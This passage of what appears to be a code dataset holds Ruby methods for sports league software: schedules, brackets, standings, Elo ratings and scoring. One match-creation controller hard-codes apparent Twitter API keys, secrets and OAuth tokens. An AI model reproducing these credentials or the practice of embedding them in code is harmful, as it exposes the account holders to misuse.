end", "def round_actual?\n self.current_season.round_actual?\n end", "def generate_games(divisions, fields, seasons)\n seasons.each do |season|\n divisions.each do |division|\n teamsD = TeamDivision.where(:division_id => division.id)\n season_start = season.start_date\n game_start = season_start\n generate_schedule(teamsD, fields, season, division.id)\n end\n end\n end", "def generate_players(stage1, stage2, matches, players)\n i, j, x = 0, 0, 0\n names = get_names(players)\n first_round_size = 2 ** (Math.log2(names.length).ceil - 1)\n player_names = Array.new(first_round_size, [])\n extra_players = []\n temp_scores = []\n extra_matchups = stage1.reverse[0].compact()\n query = PlayerMatch.select(:player_id, :match_id, :result)\n .where(match_id: extra_matchups).reorder(match_id: :asc)\n query.each do |row|\n extra_players.push(get_names(row.player_id)[0])\n end\n\n while (names.length != 0)\n if (extra_players.include? names.first)\n player_names[i] = [extra_players[j], extra_players[j + 1]]\n names.delete(extra_players[j])\n names.delete(extra_players[j + 1])\n j += 2\n else\n player_names[i] = [names.shift(), nil]\n end\n i += 1\n end\n\n original_scores = stage2.reverse[0]\n while (original_scores.length != 0)\n if ( (original_scores[x].to_s.include? \"nil\") )\n original_scores.shift\n else\n temp_scores.push(original_scores.shift)\n end\n end\n\n scores = Array.new(first_round_size, [])\n x = 0\n while (x < first_round_size)\n if (player_names[x].to_s.include? \"nil\")\n scores[x] = [nil, nil]\n else\n scores[x] = (temp_scores.shift)\n end\n x += 1\n end\n \n stage2[stage2.length - 1] = scores\n bracket = {:teams => player_names, :results => stage2.reverse}\n return bracket\n end", "def opposto_win_probability\n wpd.gamma/(wpd.gamma + opponents_adjusted_gamma(opposto_player))\n end", "def test_competition_place_results_by_points\n race = standings(:jack_frost).races.create(:category_name => \"Masters Men 50+\")\n\n 20.times do\n race.results.create\n end\n \n ironman = Ironman.create(:date => Date.today)\n ironman_race = ironman.standings.create(:name => '2006').races.create(:category => Category.new(:name => 'Ironman'))\n \n first_competition_result = ironman_race.results.create\n first_competition_result.scores.create(:source_result => race.results[0], :competition_result => first_competition_result, :points => 45)\n \n second_competition_result = ironman_race.results.create\n second_competition_result.scores.create(:source_result => race.results[2], :competition_result => second_competition_result, :points => 45)\n \n third_competition_result = ironman_race.results.create\n race.results[3].place = 2\n race.results[3].save!\n third_competition_result.scores.create(:source_result => race.results[3], :competition_result => third_competition_result, :points => 15)\n third_competition_result.scores.create(:source_result => race.results[4], :competition_result => third_competition_result, :points => 15)\n race.results[4].place = 3\n race.results[4].save!\n \n fourth_competition_result = ironman_race.results.create\n fourth_competition_result.scores.create(:source_result => race.results[1], :competition_result => fourth_competition_result, :points => 30)\n race.results[1].place = 1\n race.results[1].save!\n \n fifth_competition_result = ironman_race.results.create\n fifth_competition_result.scores.create(:source_result => race.results[5], :competition_result => fifth_competition_result, :points => 4)\n race.results[5].place = 15\n race.results[5].save!\n fifth_competition_result.scores.create(:source_result => race.results[7], :competition_result => fifth_competition_result, :points => 2)\n race.results[7].place = 17\n race.results[7].save!\n \n sixth_competition_result = ironman_race.results.create\n sixth_competition_result.scores.create(:source_result => race.results[6], :competition_result => sixth_competition_result, :points => 5)\n race.results[6].place = 15\n race.results[6].save!\n sixth_competition_result.scores.create(:source_result => race.results[8], :competition_result => sixth_competition_result, :points => 1)\n race.results[8].place = 18\n race.results[8].save!\n \n seventh_competition_result = ironman_race.results.create\n seventh_competition_result.scores.create(:source_result => race.results[11], :competition_result => seventh_competition_result, :points => 2)\n race.results[11].place = 20\n race.results[11].save!\n \n eighth_competition_result = ironman_race.results.create\n eighth_competition_result.scores.create(:source_result => race.results[10], :competition_result => eighth_competition_result, :points => 1)\n race.results[10].place = 20\n race.results[10].save!\n eighth_competition_result.scores.create(:source_result => race.results[9], :competition_result => eighth_competition_result, :points => 1)\n race.results[9].place = 25\n race.results[9].save!\n \n ironman_race.results(true)\n for result in ironman_race.results\n result.calculate_points\n result.save!\n end\n ironman_race.place_results_by_points\n ironman_race.results(true).sort!\n assert_equal(first_competition_result, ironman_race.results.first, 'First result')\n assert_equal('1', ironman_race.results.first.place, 'First result place')\n assert_equal(second_competition_result, ironman_race.results[1], 'Second result')\n assert_equal('1', ironman_race.results[1].place, 'Second result place')\n assert_equal(fourth_competition_result, ironman_race.results[2], 'Third result')\n assert_equal('3', ironman_race.results[2].place, 'Third result place')\n assert_equal(third_competition_result, ironman_race.results[3], 'Fourth result')\n assert_equal('4', ironman_race.results[3].place, 'Fourth result place')\n assert_equal(fifth_competition_result, ironman_race.results[4], 'Fifth result')\n assert_equal('5', ironman_race.results[4].place, 'Fifth result place')\n assert_equal(sixth_competition_result, ironman_race.results[5], 'Sixth result')\n assert_equal('6', ironman_race.results[5].place, 'Sixth result place')\n assert_equal(eighth_competition_result, ironman_race.results[6], '7th result')\n assert_equal('7', ironman_race.results[6].place, '7th result place')\n assert_equal(seventh_competition_result, ironman_race.results[7], '8th result')\n assert_equal('8', ironman_race.results[7].place, '8th result place')\n end", "def mz_seasons\n age - System::JUNIOR_START_AGE\n end", "def fix_setpoint_inversion(htg_hrly, clg_hrly, hvac, weather, model, runner)\n cooling_season = hvac.get_season(model, weather, runner, Constants.ObjectNameCoolingSeason)\n heating_season = hvac.get_season(model, weather, runner, Constants.ObjectNameHeatingSeason)\n\n year_description = model.getYearDescription\n run_period = model.getRunPeriod\n start_month = run_period.getBeginMonth - 1\n end_month = run_period.getEndMonth - 1\n\n day_e = 0\n days_in_month = Constants.NumDaysInMonths(year_description.isLeapYear)\n (start_month..end_month).to_a.each do |i|\n day_s = day_e + 1\n day_e = day_s + days_in_month[i] - 1\n hr1 = (day_s - 1) * 24\n hr2 = day_e * 24 - 1\n\n htg_hrly_month = htg_hrly[hr1..hr2]\n clg_hrly_month = clg_hrly[hr1..hr2]\n\n if (heating_season[i] == 1) && (cooling_season[i] == 1)\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : c }\n elsif heating_season[i] == 1 # heating only seasons; cooling has minimum of heating\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : c }\n elsif cooling_season[i] == 1 # cooling only seasons; heating has maximum of cooling\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : c }\n end\n end\n end", "def generate_user_standings(match_set)\n\n # Get the fighters for the season that the matches in match_set take place in.\n fighters = match_set.first.season.fighters\n\n # Set all user's W-L values to 0-0 and set matches played to 0.\n user_hashmap = {}\n fighters.each do |user_id|\n user_hashmap[User.find(user_id)] = [0,0,0]\n end\n\n # Calculate each user's W-L-MP\n match_set.each do |match|\n\n # Only calculate if match has been accepted by p1 & p2.\n if match.p1_accepted == true && match.p2_accepted == true\n if match.p1_id == match.winner_id\n user_hashmap[match.p1][0] += 1\n user_hashmap[match.p1][2] += 1\n\n user_hashmap[match.p2][1] += 1\n user_hashmap[match.p2][2] += 1\n else\n user_hashmap[match.p2][0] += 1\n user_hashmap[match.p2][2] += 1\n\n user_hashmap[match.p1][1] += 1\n user_hashmap[match.p1][2] += 1\n end\n end\n end\n \n # Convert hashmap to an array that is sorted by Wins and then by MP.\n user_hashmap.to_a.sort_by{ |user| [ -user[1][0], -user[1][2] ] }\n end", "def played_matchs_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.finished?\n count += 1\n end\n end\n count\n end", "def index\n @mstart = (params[:date].try(:to_datetime) || Date.current).beginning_of_month\n @season = @mstart.year\n @months = Match.unscoped.where('kickoff <= :time', time: Time.current).group_by { |x| x.kickoff.beginning_of_month }.sort.map(&:first) + [Date.current.beginning_of_month]\n @months.uniq!\n yr_matches = revs.matches.unscope(where: :season).where(season: @mstart.year)\n @yr_match_ids = yr_matches.map(&:id)\n @mo_match_ids = yr_matches.where(kickoff: (@mstart..@mstart.end_of_month)).map(&:id)\n @mot_ms = Player.includes(:mot_m_firsts, :mot_m_seconds, :mot_m_thirds).select { |x| x.mot_m_total(season: @season) > 0 }.sort_by(&:last_name)\n @mot_m_mo = @mot_ms.group_by { |x| x.mot_m_total(match_id: @mo_match_ids) }.reject { |k, _v| k == 0 }.sort_by(&:first).reverse\n @mot_m_yr = @mot_ms.group_by { |motm| motm.mot_m_total(season: @season) }.sort_by(&:first).reverse\n @mot_ms_for_mo = Player.mot_ms_for(Match.find(@mo_match_ids))\n @mot_ms_for_yr = Player.mot_ms_for(yr_matches)\n end", "def points_for(source_result, team_size = nil)\n calculate_point_schedule(source_result.race.field_size)\n points = 0\n MbraBar.benchmark('points_for', :level => \"debug\") {\n if source_result.place.strip.downcase == \"dnf\"\n points = 0.5\n else\n # if multiple riders got the same place (must be a TTT or tandem team or... ?), then they split the points...\n # this screws up the scoring of match sprints where riders eliminatined in qualifying heats all earn the same place\n points = point_schedule[source_result.place.to_i] * source_result.race.bar_points #/ team_size.to_f\n end\n }\n points\n end", "def player_score()\n\t\tparams.each do |name, guess| #recieves guess from form on guess.slim\n\t\t\tsession[:player].each do |z|\n\t\t\t\tif z.name == name\n\t\t\t\t\tz.guess = guess.to_i\n\t\t\t\t\tz.round_score = (z.guess - session[:movie][session[:round_count]].ratings['critics_score'].to_i).abs\n\t\t\t\t\tz.total_score += (z.guess - session[:movie][session[:round_count]].ratings['critics_score'].to_i).abs\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def calc\n calc_world_lookup\n calc_player\n end", "def irmonograsaslp\n vag=(valormonograsasp * 100) / 70\n vag.round(2)\n end", "def deal_matchs_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.deal? and match.finished?\n count += 1\n end\n end\n count\n end", "def versus(other_player, options = {})\n game = Game.new\n game.players << self\n game.players << other_player\n game.calculate\n end", "def big_shoe_rebounds\n big_shoes_player = 0\n rebounds = 0\n game_hash.each do |team_key, team_value|\n team_value[:players].each do |stats|\n if stats[:shoe] > big_shoes_player #if the shoe stats for the current player being compared is bigger than the current \"big_shoes_player\" then continue to next lines of code that cause \"big_shoes_player\" to turn into the current player and reflect his rebounds.\n big_shoes_player = stats[:shoe]\n rebounds = stats[:rebounds]\n end\n end\n end\n rebounds\nend", "def calculate_goggle_cup_rank\n # Prepares an hash to store goggle cup rank\n goggle_cup_rank = []\n\n # Check goggle cup has at least one valid result\n if has_results?\n # Collects swimmers involved\n # A swimmer is involved if has a badge for at a least a season of goggle cup definition\n # and is ranked if has at least a result for that badge(s)\n swimmers = team.badges\n .joins(season: :goggle_cup_definitions)\n .where(['goggle_cup_definitions.goggle_cup_id = ?', id])\n .map(&:swimmer).uniq\n\n # Collects best results for each swimmer\n # The number of result to consider is set in the goggle cup header\n swimmers.each do |swimmer|\n points = swimmer.meeting_individual_results\n .joins(season: :goggle_cup_definitions)\n .where(['goggle_cup_definitions.goggle_cup_id = ?', id])\n .has_points(:goggle_cup_points)\n .sort_by_goggle_cup('DESC')\n .limit(max_performance)\n .collect(&:goggle_cup_points)\n next unless points.count > 0\n\n goggle_cup_rank << {\n swimmer: swimmer,\n total: points.sum,\n max: points.max,\n min: points.min,\n count: points.count,\n average: (points.sum / points.count).round(2)\n }\n end\n\n # Sorts the hash to create rank\n goggle_cup_rank.sort! { |hash_element_prev, hash_element_next| hash_element_next[:total] <=> hash_element_prev[:total] }\n end\n goggle_cup_rank\n end", "def average_goals_by_season\n goals_by_season = @games.group_by { |game| game.season.to_s }\n goals_by_season.each do |season, games|\n season_goals = games.map { |game| game.home_goals + game.away_goals }.sum\n goals_by_season[season] = (season_goals.to_f / games.count.to_f).round(2)\n end\n end", "def simulate_rounds\n League.current_seasons.each(&:simulate_round_actual!)\n\n respond_to do |format|\n flash[:notice] = t('defaults.simulate_rounds_success')\n format.html{ redirect_to leagues_path}\n end\n end", "def goals_favor_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n count += match.goals_favor(self) if match.finished?\n end\n\n count\n end", "def probability_by_win_ratio(delta)\n # A team wins between 0% and 100% of its games\n # Comparing two teams, the difference in percentages will also be between 0% and 100%\n # If they have equal win percentages, then it is a tossup--50/50\n # If one team has won 100% and the other has won 0%,\n # ...then there is a 100% win percentage different between them\n # ...in that case, the odds should be 100% in favor of the 100% team.\n 0.5 + 0.5 * delta\nend", "def earned_schedule\n ev = project.earned_value(self) #Current Earned Value\n pv_line = planned_value_by_week #Planned value by week to see in what week EV is the same as PV.\n\n week = pv_line.first[0] #PVt week\n next_week = pv_line.first[0] #PVt+1 week\n\n previous_value = 0 #Temp PVt value for loop\n previous_key = pv_line.first[0] #Temp PVt week for loop \n\n pv_line.each do |key, value|\n # puts \"#{previous_value} >= #{ev} < #{value}\"\n if( ev >= previous_value.round && ev < value.round) #Each key is a week, in what week does the EV equal to PV?\n # puts \"#{previous_value} >= #{ev} < #{value}\"\n # puts \"Yes!\"\n week = previous_key\n next_week = key\n elsif( ev == previous_value.round && ev == value.round) #THIS elseif is here when both are equal until the end of the project, e.g. when the project is finished.\n # puts \"Yes! Equal\"\n week = key\n next_week = key\n end\n previous_key = key\n previous_value = value.round\n end\n\n pv_t = pv_line[week] #PVt value\n pv_t_next = pv_line[next_week] #PVt+1 value\n\n num_of_weeks = pv_line.keys[0..pv_line.keys.index(week)].size - 1 #Get num of weeks until \"week\", t is number of weeks.\n \n if (pv_line[next_week] - pv_line[week]) == 0 #Prevent from divide by zero, when values are equal.\n num_of_weeks #This means that the line is flat. So use the previous value because (EV >= PVt and EV < PVt+1).\n else\n num_of_weeks + ((ev - pv_line[week]).to_f / (pv_line[next_week] - pv_line[week]))\n end\n end", "def get_standings(games)\n teams = Hash.new\n games.each do |game|\n division_id = game.division_id\n home_team = game.home_team\n away_team = game.visiting_team\n if(teams[home_team.name].nil?)\n teams[home_team.name] = {:win => 0, :loss => 0, :tie => 0, :point=> 0}\n end\n\n if(teams[away_team.name].nil?)\n teams[away_team.name] = {:win => 0, :loss => 0, :tie => 0, :point => 0}\n end\n if(game.home_team_score && game.visiting_team_score)\n if(game.home_team_score > game.visiting_team_score)\n # home team won\n teams[home_team.name][:win] += 1\n teams[home_team.name][:point] += 5\n # visiting team loss\n teams[away_team.name][:loss] += 1\n elsif(game.home_team_score < game.visiting_team_score)\n # home team loss\n teams[home_team.name][:loss] += 1\n #visiting team won\n teams[away_team.name][:win] += 1\n teams[away_team.name][:point] += 5\n else\n # tie game\n teams[home_team.name][:tie] += 1\n teams[home_team.name][:point] += 1\n teams[away_team.name][:tie] += 1\n teams[away_team.name][:point] += 1\n end\n end\n end\n teams.each do |team, value|\n puts team\n total_games = value[:win] + value[:loss] + value[:tie]\n if total_games > 0 \n win_percentage = value[:win]/total_games.to_f\n else\n win_percentage = 0\n end \n value[:percentage] = win_percentage\n end\n teams_sorted = teams.sort_by{ |k, v| v[:point]}.reverse\n return teams_sorted\n end", "def num_rounds\n (Math.log(teams.size) / Math.log(2)).to_i\n end", "def final_results_list\n winners = sort_group_of_teams(self.teams.select { |team| team.playoffs && team.court_id == 100 })\n losers = sort_group_of_teams(self.teams.select { |team| team.playoffs && team.court_id != 100 })\n\n #only for kob, game play will not have a losers court\n ## winner of consolation court kob, become overall 4th place\n if (losers)\n third_place = losers.shift\n winners.insert(3, third_place).concat(losers)\n end\n winners\n end", "def score_matchup(matchup_id, winning_submission_id, losing_submission_id)\n # TODO: ensure we're filtering by category or whatever\n matchup = $MATCHUPS.find{|matchup| matchup[:id] == matchup_id}\n matchup[:completed] = true\n matchup[:winning_submission_id] = winning_submission_id\n\n winning_submission = $SUBMISSIONS.find{|s| s[:id] == winning_submission_id }\n losing_submission = $SUBMISSIONS.find{|s| s[:id] == losing_submission_id }\n\n winning_sub_elo = Elo::Player.new(:rating => winning_submission[:elo_rating])\n losing_sub_elo = Elo::Player.new(:rating => losing_submission[:elo_rating])\n \n winning_sub_elo.wins_from(losing_sub_elo)\n\n winning_submission[:elo_rating] = winning_sub_elo.rating\n losing_submission[:elo_rating] = losing_sub_elo.rating\n\n # $SUBMISSIONS.map{|s| s[:id] == winning_submission_id ? winning_submission : s[:id] == losing_submission_id ? losing_submission : s }\n\n # $MATCHUPS.map{|m| m[:id] == matchup_id ? matchup : m }\n incomplete_matches = $MATCHUPS.select{|m| m[:completed] == false && m[:assigned] == false}\n\n if(incomplete_matches.count() < $NUM_TEAMS) \n generate_more_matchups()\n end\nend", "def runCase player_index\n\tp = player_index.sort_by{|val| val[0].power[1]}.reverse\n\ts = 0\n\ttemp = p[s][0]\n\tfor i in 0..player_index.length-2\n\t\tif(temp.power[1]==p[i+1][0].power[1])\n\t\t\twinner = 0\n\t\telsif(temp.power[1]<p[i+1][0].power[1] && temp.power[1]!=3)\n\t\t\twinner = p[i+1][1]\n\t\t\ttemp = p[i+1][0]\n\t\t\ts =i+1\n\t\telsif(temp.power[1]==3 && p[i+1][0].power[1]==14)\n\t\t\twinner = p[i+1][1]\n\t\t\ttemp = p[i+1][0]\n\t\t\ts =i+1\n\t\telse\n\t\t\twinner = p[s][1]\t\t\t\n\t\tend\t\n\tend\nend", "def create \n #@unplayed = other_playerdiv_players_array(get_playerdiv().division_id,current_player.id)\n @unplayed = unplayed_playerdiv_players(get_playerdiv().division_id,current_player.id)\n #We need to edit the params here a bit!\n #Fix players 2s elo player_id, easypeasy.\n params['match']['rankings_attributes']['1']['player_id'] = params['match']['results_attributes']['1']['player_id']\n player1 = params['match']['results_attributes']['0']['player_id']\n player2 = params['match']['results_attributes']['1']['player_id']\n player1_score = params['match']['results_attributes']['0']['score']\n player2_score = params['match']['results_attributes']['1']['score']\n\n #Add new elo scores \n if params['match']['results_attributes']['0']['score'] > params['match']['results_attributes']['1']['score']\n elo_scores = update_elo_score(params['match']['results_attributes']['0']['player_id'],params['match']['results_attributes']['1']['player_id']) \n params['match']['rankings_attributes']['0']['score'] = elo_scores.first \n params['match']['rankings_attributes']['1']['score'] = elo_scores.last\n elsif params['match']['results_attributes']['0']['score'] < params['match']['results_attributes']['1']['score']\n elo_scores = update_elo_score(params['match']['results_attributes']['1']['player_id'],params['match']['results_attributes']['0']['player_id']) \n params['match']['rankings_attributes']['1']['score'] = elo_scores.first \n params['match']['rankings_attributes']['0']['score'] = elo_scores.last\n elsif\n elo_scores = dont_update_elo_score(params['match']['results_attributes']['0']['player_id'],params['match']['results_attributes']['1']['player_id']) \n params['match']['rankings_attributes']['0']['score'] = elo_scores.first \n params['match']['rankings_attributes']['1']['score'] = elo_scores.last \n end\n\n ## We want to break out and return to the new match page with a warning if the score is 3-3.\n if player1_score == \"3\" && player2_score == \"3\"\n respond_to do |format|\n format.html { redirect_to new_match_path, :alert => '3-3 is not a valid score' }\n end\n # format.xml { render :xml => @match.errors, :status => :unprocessable_entity }\n else \n @match = Match.new(params[:match])\n respond_to do |format|\n if @match.save\n if Rails.env.production?\n player1_info = Player.find(player1)\n if player1_info.twitter.blank?\n player1_name = player1_info.name\n else \n if player1_info.twitter.include? \"@\"\n player1_name = player1_info.twitter\n else \n player1_name = [\"@\",player1_info.twitter].join(\"\")\n end\n end\n\n player2_info = Player.find(player2)\n if player2_info.twitter.blank?\n player2_name = player2_info.name\n else \n if player2_info.twitter.include? \"@\"\n player2_name = player2_info.twitter\n else \n player2_name = [\"@\",player2_info.twitter].join(\"\")\n end\n end\n end\n## Messaging: sending tweets and emails. \n if Rails.env.development?\n if player1_score == \"-1\" or player2_score == \"-1\"\n\n else\n Twitter.configure do |config|\n config.consumer_key = \"1XjVDsxhid6RGC2L87iOw\"\n config.consumer_secret = \"3D9GIbIEfiKqSMDzHTunAPJ0Cb3jGMpxTGJ5SBKXcZQ\"\n config.oauth_token = \"167934744-nQHj7SI2fmR9kKgp0xPgqxKThzo3b8E5Zm57LtXh\"\n config.oauth_token_secret = \"w151Vhz4TQ5cMaCGEeJPZyeHfw13X4PgvIek4UXhzk\"\n end\n tweet = [\"Result just in: \", player1_name, \" \", player1_score, \" - \", player2_score, \" \",player2_name].join(\"\")\n @twitter = Twitter::Client.new\n @twitter.update(tweet) \n end\n elsif Rails.env.production? \n if player1_score == \"-1\" or player2_score == \"-1\"\n\n else\n Twitter.configure do |config|\n config.consumer_key = \"MmLpCfZryJpziDQrP6v2fA\"\n config.consumer_secret = \"r1JnVOv0fqpKWf85PYy7NqIeujLlso7Rz77dMBz0GJM\"\n config.oauth_token = \"304956678-t1zBhgd9WPsLt2iPziMtMJUky7N67At8sBJOLVtE\"\n config.oauth_token_secret = \"S1Y9hkH9Sx9HOvXHzFDpceX1JyNZjKveaWmUl0QaMQ\"\n end\n tweet = [\"Result just in, \", Player.find(player1).name, \" \", player1_score, \" - \", player2_score, \" \",Player.find(player2).name].join(\"\")\n @twitter = Twitter::Client.new\n @twitter.update(tweet) \n end\n ResultMailer.result_email(params['match']['rankings_attributes']['0']['player_id'],params['match']['rankings_attributes']['1']['player_id'],params['match']['results_attributes']['0']['score'],params['match']['results_attributes']['1']['score']).deliver\n end\n \n \n \n format.html { redirect_to(@match, :notice => \"Your match has been entered successfully\") }\n format.xml { render :xml => @match, :status => :created, :location => @match } \n else\n format.html { redirect_to new_match_path, :alert => 'You did not enter any scores' }\n format.xml { render :xml => @match.errors, :status => :unprocessable_entity }\n end\n end\n end\nend", "def matches_played_by_season(table_of_teams)\n matches_played = Hash.new { |hash, key| hash[key] = Hash.new(0) }\n\n table_of_teams.each do |table_row|\n matches_played[table_row['season']][table_row['team1']] += 1\n matches_played[table_row['season']][table_row['team2']] += 1\n end\n matches_played\nend", "def retrieve_season_hall_of_fame\n seasons_hall_of_fame = []\n get_involved_teams unless @involved_teams\n\n @involved_teams.each do |team|\n team_placement = {}\n team_placement[:team] = team\n %w[first_place second_place third_place].each_with_index do |rank, index|\n placement = index + 1\n team_placement[rank.to_sym] = team.computed_season_ranking.joins(:season).where(\"seasons.season_type_id = #{@season_type.id} AND computed_season_rankings.rank = #{placement}\").count\n end\n seasons_hall_of_fame << team_placement\n end\n seasons_hall_of_fame.sort { |p, n| (n[:first_place] * 10_000 + n[:second_place] * 100 + n[:third_place]) <=> (p[:first_place] * 10_000 + p[:second_place] * 100 + p[:third_place]) }\n end", "def runoff(voters)\n\n def find_winner(voters, tallies=nil)\n if tallies\n min = tallies.values.min\n tallies.keep_if { |candidate, v| v == min }\n voters.each { |voter| voter.reject! {|vote| tallies.include? vote }}\n return nil if voters.length == 0\n end\n new_tallies = Hash.new(0)\n voters[0].each {|candidate| new_tallies[candidate] = 0 }\n voters.each_with_object(new_tallies) { |voter, nt| nt[voter[0]] += 1 }\n total_votes = new_tallies.values.reduce(:+);\n new_tallies.each { |candidate, v|\n return candidate if v / total_votes.to_f > 0.5\n }\n return find_winner(voters, new_tallies)\n end\n\n find_winner(voters)\n\nend", "def bp_odds_on_favorite\n\t\tfav_team=Teamseason.new\n\t\tfav_team.year=self.matchup_year\n\t\tfav_team.team=self.favorite \n\t\tunderdog_team=Teamseason.new\n\t\tunderdog_team.year=self.matchup_year\n\t\tunderdog_team.team=self.underdog\n\t\treturn fav_team.bp_ros_win_pct.to_f.odds_against_opponent(underdog_team.bp_ros_win_pct.to_f)\n\tend", "def rps_game_winner(game)\n raise WrongNumberOfPlayersError unless game.length == 2\n @P1 = game[0][1]\n @P2 = game[1][1]\n\n \n if(@P1.match(/[RPS]/)) && (@P2.match(/[RPS]/))\n\n if(@P1 == \"R\") && (@P2 == \"S\")\n return game[0]\n elsif(@P1 == \"R\") && (@P2 == \"P\")\n\treturn game[1]\n end\n\t\n if(@P1 == \"P\") && (@P2 == \"R\")\n return game[0]\n elsif(@P1 == \"P\") && (@P2 == \"S\")\n\treturn game[1]\n end\n \n \n if(@P1 == \"S\") && (@P2 == \"P\")\n\treturn game[0]\n elsif(@P1 == \"S\") && (@P2 == \"R\")\n\treturn game[1]\n end\n end\n\n end", "def per_game_stats(season = nil)\n season_id = season ? season.id : Season.current.id\n StatLine.find_by_sql('SELECT AVG(fgm) as fgm, AVG(fga) as fga, coalesce(AVG(fgm)/nullif(AVG(fga), 0), 0) as fgpct, AVG(twom) as twom, AVG(twoa) as twoa, coalesce(AVG(twom)/nullif(AVG(twoa), 0), 0) as twopct, AVG(threem) as threem, AVG(threea) as threea, coalesce(AVG(threem)/nullif(AVG(threea), 0), 0) as threepct,' \\\n 'AVG(ftm) as ftm, AVG(fta) as fta, coalesce(AVG(ftm)/nullif(AVG(fta), 0), 0) as ftpct, AVG(orb) as orb, AVG(drb) as drb, AVG(trb) as trb, AVG(ast) as ast, AVG(stl) as stl, AVG(blk) as blk, AVG(fl) as fl, AVG(\"to\") as to,' \\\n 'AVG(points) as points, COUNT(*) as game_count, sums.league_id FROM (SELECT SUM(fgm) as fgm, SUM(fga) as fga, SUM(twom) as twom, SUM(twoa) as twoa, SUM(threem) as threem, SUM(threea) as threea,' \\\n 'SUM(ftm) as ftm, SUM(fta) as fta, SUM(orb) as orb, SUM(drb) as drb, SUM(trb) as trb, SUM(ast) as ast, SUM(stl) as stl, SUM(blk) as blk, SUM(fl) as fl, SUM(\"to\") as to,' \\\n \"SUM(points) as points, g.league_id as league_id FROM stat_lines sl INNER JOIN games g ON sl.game_id = g.id \" \\\n \"WHERE g.winner is not null AND (g.forfeit is null or not g.forfeit) AND (sl.dnp is null OR not sl.dnp) AND team_id = #{self.id} AND g.season_id = #{season_id} GROUP BY game_id, g.league_id) sums GROUP BY sums.league_id\")\n end", "def regular_season_rankings(season = nil)\n stats_request(\"regularSeasonStatRankings\", season).first\n end", "def season_finalize\n Params.inc_season\n end", "def get_rankings\n #create tmp hash storage for all the rows in the rankings table\n row_holder = Hash.new { |hash, key| hash[key] =\n {'played' => 0, '3_points' => 0, '2_points' => 0, '1_point' => 0,\n '0_points' => 0, 'won_sets' => 0, 'lost_sets' => 0, 'points' => 0,\n 'name' => key}}\n\n @games.each do |g|\n if g.has_been_played?\n #add played game for both teams\n row_holder[g.home_team]['played'] += 1\n row_holder[g.away_team]['played'] += 1\n\n #add won sets for each team\n row_holder[g.home_team]['won_sets'] += g.home_sets\n row_holder[g.away_team]['won_sets'] += g.away_sets\n\n #add lost sets for each team\n row_holder[g.home_team]['lost_sets'] += g.away_sets\n row_holder[g.away_team]['lost_sets'] += g.home_sets\n\n #handle all different game outcomes, prepare for ugly code\n #handle 3-0 and 3-1\n if (g.home_sets == 3) && (g.away_sets < 2)\n row_holder[g.home_team]['points'] += 3\n row_holder[g.home_team]['3_points'] += 1\n row_holder[g.away_team]['0_points'] += 1\n\n #handle 3-2\n elsif (g.home_sets == 3) && (g.away_sets == 2)\n row_holder[g.home_team]['points'] += 2\n row_holder[g.away_team]['points'] += 1\n row_holder[g.home_team]['2_points'] += 1\n row_holder[g.away_team]['1_point'] += 1\n\n #handle 2-3\n elsif (g.home_sets == 2) && (g.away_sets ==3)\n row_holder[g.away_team]['points'] += 2\n row_holder[g.home_team]['points'] += 1\n row_holder[g.home_team]['1_point'] += 1\n row_holder[g.away_team]['2_points'] += 1\n\n #handle 0-3 and 1-3\n elsif (g.home_sets < 2) && (g.away_sets == 3)\n row_holder[g.away_team]['points'] += 3\n row_holder[g.home_team]['0_points'] += 1\n row_holder[g.away_team]['3_points'] += 1\n end\n\n # make sure hash is generated when no games have been played yet\n else\n row_holder[g.home_team]['played'] += 0\n row_holder[g.away_team]['played'] += 0\n end\n end\n\n\n\n #convert the row_holder hash to a sorted array\n sort_ranking(row_holder)\n end", "def create_match_teams(n, match, sport)\n teams_in_sport = Team.all.select{|t| t.sport_id == sport.id}\n teams_that_played = teams_in_sport.sample(n)\n\n teams_that_played.each do |t|\n match_team = MatchTeam.new\n match_team.match = match\n match_team.team = t\n match_team.is_winner = 0\n\n # if match has been played, give it a random score\n if match.is_completed\n match_team.score = rand(50)\n end\n \n match_team.save\n end\n\n # traverse match_teams and assign winners\n if match.is_completed\n match_teams_for_current_match = MatchTeam.all.select{|mt| mt.match == match}\n winner = match_teams_for_current_match.max{ |match_team_1, match_team_2| match_team_1.score <=> match_team_2.score}\n winner.update(is_winner: 1)\n end\n\n\n \nend", "def update_match_results_and_points(match)\n case match[2]\n when 'W'\n $wins[match[0]] = $wins[match[0]].to_i + 1\n $loses[match[1]] = $loses[match[1]].to_i + 1\n $points[match[0]] = $points[match[0]].to_i + 3\n when 'L'\n $loses[match[0]] = $loses[match[0]].to_i + 1\n $wins[match[1]] = $wins[match[1]].to_i + 1\n $points[match[1]] = $points[match[1]].to_i + 3\n else\n $draws[match[0]] = $draws[match[0]].to_i + 1\n $draws[match[1]] = $draws[match[1]].to_i + 1\n $points[match[0]] = $points[match[0]].to_i + 1\n $points[match[1]] = $points[match[1]].to_i + 1\n end\nend", "def overall_WLR\n overall_losses = 0\n overall_wins = 0\n @player_champs_list.each do |champ|\n overall_losses += champ.total_losses\n overall_wins += champ.total_wins\n end\n overall_losses > 0 ? (overall_wins.to_f / overall_losses).round(2) : overall_wins.to_f\n end", "def winner=(player)\n self.save && self.reload\n # The winner scores 1\n process_result(player, 1)\n # The other players score 0\n self.players.to_a.each do |one_player|\n unless one_player == player\n process_result(one_player, 0)\n end\n end\n end", "def winning_team\n team_p = []\n team_n = []\n\n game_hash.each do | location, team_data|\n temp = 0\n team_data[:players].each do |p_name, stats|\n temp += stats[:points]\n end\n team_n << team_data[:team_name]\n team_p << temp\n end\n\n team_p[0] > team_p[1] ? team_n[0] : team_n[1]\n\nend", "def calculate_winner players\n\n sorted_cards = 